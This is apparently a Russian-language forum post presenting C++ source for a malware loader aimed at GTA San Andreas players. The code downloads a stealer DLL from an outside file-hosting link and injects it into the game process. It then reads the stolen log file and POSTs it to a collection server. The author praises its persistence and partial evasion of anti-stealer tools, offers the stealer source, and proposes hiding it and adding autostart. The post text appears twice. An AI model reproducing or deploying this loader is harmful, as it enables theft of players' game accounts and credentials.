Тема создана в целях познания. Делал чисто из-за того, чтобы получить опыт.
Сделал .exe загрузчик стиллера, который следит за процессом гта са и если таковой имеется, вшивает туда стиллер.
Палится антистиллером от даркпискеля. Плюсы здесь в том, что стиллер работает на чистой gta_sa без всяких asi_loader, sampfuncs. Еще плюс в том, что если юзер снесет гта и поставит заново, стиллер продолжит работать. Плюс отправляет логи уже после того, как юзер закрывает гта. Также модернизировал немного паблик аси стиллер, чтобы логи складировал в txt файл и удалил лишнюю шнягу. Исходники тоже могу скинуть, кому интересно. Работает на R1/R2. Для R3 оффсеты не смог извлечь из игры т.к я баран.
P.S Не мешало бы доделать, чтобы он прятался тоже где-то в temp папке и сам себя добавил в автозагрузку
P.S.S И вообще, можно ведь сделать .exe стиллер не вшивая .asi стиллер в игру, а напрямую взаимодействуя с процессом
Вопрос к знающим, если я записываю путь к temp папке в char, а не WCHAR, значит ли это, что если у юзера в пути к temp папке содержатся русские символы, то будет беда?
Сделал .exe загрузчик стиллера, который следит за процессом гта са и если таковой имеется, вшивает туда стиллер.
C++:
#include <comdef.h>
#include <iostream>
#include <string>
#include <ctype.h>
#include <tchar.h>
#include <Windows.h>
#include <WinInet.h>
#include <urlmon.h>
#include <fstream>
#include <tlhelp32.h>
#include <Shlwapi.h>
#include <Psapi.h>
//Library needed by Linker to check file existance
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "WinInet.lib")
#pragma comment (lib, "urlmon.lib")
using namespace std;
DWORD GetProcId(const wchar_t* procname)
{
PROCESSENTRY32 pe;
HANDLE hSnap;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnap, &pe)) {
do {
if (wcscmp(pe.szExeFile, procname) == 0) return pe.th32ProcessID;;
} while (Process32Next(hSnap, &pe));
}
return (DWORD) 0;
}
bool InjectDLL(const int& pid, const string& DLL_Path)
{
long dll_size = DLL_Path.length() + 1;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL)
{
cerr << "[!]Fail to open target process!" << endl;
return false;
}
cout << "[+]Opening Target Process..." << endl;
LPVOID MyAlloc = VirtualAllocEx(hProc, NULL, dll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (MyAlloc == NULL)
{
cerr << "[!]Fail to allocate memory in Target Process." << endl;
return false;
}
cout << "[+]Allocating memory in Targer Process." << endl;
int IsWriteOK = WriteProcessMemory(hProc, MyAlloc, DLL_Path.c_str(), dll_size, 0);
if (IsWriteOK == 0)
{
cerr << "[!]Fail to write in Target Process memory." << endl;
return false;
}
cout << "[+]Creating Remote Thread in Target Process" << endl;
DWORD dWord;
LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary(L"kernel32"), "LoadLibraryA");
HANDLE ThreadReturn = CreateRemoteThread(hProc, NULL, 0, addrLoadLibrary, MyAlloc, 0, &dWord);
if (ThreadReturn == NULL)
{
cerr << "[!]Fail to create Remote Thread" << endl;
return false;
}
if ((hProc != NULL) && (MyAlloc != NULL) && (IsWriteOK != ERROR_INVALID_HANDLE) && (ThreadReturn != NULL))
{
cout << "[+]DLL Successfully Injected :)" << endl;
return true;
}
return false;
}
void cycle()
{
DWORD pid = GetProcId(L"gta_sa.exe");
while (pid == 0)
{
cout << "There is no gta_sa process" << endl;
pid = GetProcId(L"gta_sa.exe");
Sleep(1000 * 5);
}
char potato[MAX_PATH];
char petuchini[MAX_PATH];
GetTempPathA(MAX_PATH, potato);
strcpy_s(petuchini, potato);
strcat_s(potato, "potato.debug");
InjectDLL(pid, potato);
strcat_s(petuchini, "potato.dat");
while (pid != 0)
{
cout << "There is gta_sa process" << endl;
pid = GetProcId(L"gta_sa.exe");
Sleep(1000 * 5);
}
ifstream file(petuchini);
char* data = new char[1024];
HINTERNET hInternet = InternetOpen(L"AppName", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"127.0.0.1", 8081, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0); // Remember to gove "POST" here
while (!file.eof())
{
file.getline(data, 1024);
HttpSendRequest(hReq, NULL, 0, data, strlen(data));
}
file.close();
InternetCloseHandle(hInternet);
InternetCloseHandle(hSession);
InternetCloseHandle(hReq);
ofstream file2(petuchini);
file2 << "";
file2.close();
}
void get_potato()
{
WCHAR path[MAX_PATH];
GetTempPathW(MAX_PATH, path);
wcscat_s(path, L"potato.debug");
URLDownloadToFile(NULL, L"http://rgho.st/download/7yhpB8Knl/217a2e74f2e1e87df9e609bf8cfc8611762c5737/217a2e74f2e1e87df9e609bf8cfc8611762c5737/potato.debug", path, 0, NULL);
}
int main()
{
get_potato();
while (true)
{
cycle();
}
}
Палится антистиллером от даркпискеля. Плюсы здесь в том, что стиллер работает на чистой gta_sa без всяких asi_loader, sampfuncs. Еще плюс в том, что если юзер снесет гта и поставит заново, стиллер продолжит работать. Плюс отправляет логи уже после того, как юзер закрывает гта. Также модернизировал немного паблик аси стиллер, чтобы логи складировал в txt файл и удалил лишнюю шнягу. Исходники тоже могу скинуть, кому интересно. Работает на R1/R2. Для R3 оффсеты не смог извлечь из игры т.к я баран.
P.S Не мешало бы доделать, чтобы он прятался тоже где-то в temp папке и сам себя добавил в автозагрузку
P.S.S И вообще, можно ведь сделать .exe стиллер не вшивая .asi стиллер в игру, а напрямую взаимодействуя с процессом
Вопрос к знающим, если я записываю путь к temp папке в char, а не WCHAR, значит ли это, что если у юзера в пути к temp папке содержатся русские символы, то будет беда?
Последнее редактирование: